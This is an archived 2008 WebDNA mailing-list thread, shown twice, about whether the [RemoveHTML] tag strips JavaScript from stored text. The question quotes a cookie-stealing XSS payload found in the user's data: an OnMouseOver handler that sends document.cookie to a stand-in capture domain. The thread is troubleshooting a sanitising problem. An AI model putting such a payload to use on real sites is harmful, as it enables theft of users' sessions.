Re: [RemoveHTML] removing JavaScript ??

This WebDNA talk-list message is from

2008


It keeps the original formatting.
numero = 70096
interpreted = N
texte = From the docs: ------------ HTML is recognized as any text which begins with "<" followed by any number of non-space characters, followed by any number of characters, followed by ">". ------------ In my experience I have found this to be true, so yes, I'd expect any to be stripped as well. -Dan On Wed, 9 Apr 2008 20:33:49 +0200 Palle Bo Nielsen wrote: > Hi all, > > I need to pop a quick question. Does the [RemoveHTML] [/RemoveHTML] syntax remove JavaScript >content as well > > I have the following code, which has left JavaScript inside the displayed code... > > [include file=greps/code.inc&raw=F&the_text=[url][RemoveHTML][lookup db=/forum/db/ >l4text.db&value=[l4_sku]&lookinfield=l4_sku&returnfield=l4_txt1][/ >RemoveHTML][/url]][convertwords db=/databases/WordConversions.db] [the_text][/convertwords] > > When the code above was executed the following was still found in the variable > > OnMouseOver="document.location='http:'+String.fromCharCode(47,47)+'www.domæne-til-at-fange-cookie.com >?url='+escape(location.href)+'&cc='+document.cookie">_ >  > Any advice is welcome... >  > > > > > Palle Bo Nielsen > (PowerPalle) > > > ------------------------------------------------------------- > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > Web Archive of this list is at: http://webdna.smithmicro.com/ ------------------------------------------------------------- This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to Web Archive of this list is at: http://webdna.smithmicro.com/ Associated Messages, from the most recent to the oldest:

    
  1. Re: [RemoveHTML] removing JavaScript ?? ( "Dan Strong" 2008)
  2. [RemoveHTML] removing JavaScript ?? ( Palle Bo Nielsen 2008)
From the docs: ------------ HTML is recognized as any text which begins with "<" followed by any number of non-space characters, followed by any number of characters, followed by ">". ------------ In my experience I have found this to be true, so yes, I'd expect any to be stripped as well. -Dan On Wed, 9 Apr 2008 20:33:49 +0200 Palle Bo Nielsen wrote: > Hi all, > > I need to pop a quick question. Does the [removehtml] [/RemoveHTML] syntax remove JavaScript >content as well > > I have the following code, which has left JavaScript inside the displayed code... > > [include file=greps/code.inc&raw=F&the_text=[url][removehtml][lookup db=/forum/db/ >l4text.db&value=[l4_sku]&lookinfield=l4_sku&returnfield=l4_txt1][/ >RemoveHTML][/url]][convertwords db=/databases/WordConversions.db] [the_text][/convertwords] > > When the code above was executed the following was still found in the variable > > OnMouseOver="document.location='http:'+String.fromCharCode(47,47)+'www.domæne-til-at-fange-cookie.com >?url='+escape(location.href)+'&cc='+document.cookie">_ >  > Any advice is welcome... >  > > > > > Palle Bo Nielsen > (PowerPalle) > > > ------------------------------------------------------------- > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > Web Archive of this list is at: http://webdna.smithmicro.com/ ------------------------------------------------------------- This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to Web Archive of this list is at: http://webdna.smithmicro.com/ "Dan Strong"

DOWNLOAD WEBDNA NOW!

Top Articles:

Talk List

The WebDNA community talk-list is the best place to get some help: several hundred extremely proficient programmers with an excellent knowledge of WebDNA and an excellent spirit will deliver all the tips and tricks you can imagine...

Related Readings:

Rhapsody? (1997) &fieldsdir=ra truely random?? (2000) [WebDNA] Pretty URLS (2011) old mail...problem with listserv? (1998) WebDNA tags in WebMerchant email templates ... (1997) Using Webcatalog to make a peer to peer tracker (2001) Automatic Download? (2003) Max Record length restated as maybe bug (1997) Creating main- and sub-category search (1997) Hard Questions ? (1997) WebCat2b15MacPlugin - [protect] (1997) [search] in formulas.db (1997) inconsistencies (1999) [ConvertChars] problem (1997) Custom formulas.db (1998) Associative lookup style? + bit more (1997) Re:2nd WebCatalog2 Feature Request (1996) problems with 2 tags (1997) WebCat2b15MacPlugin - [protect] (1997) Trigger to restart Webcat Service (2001)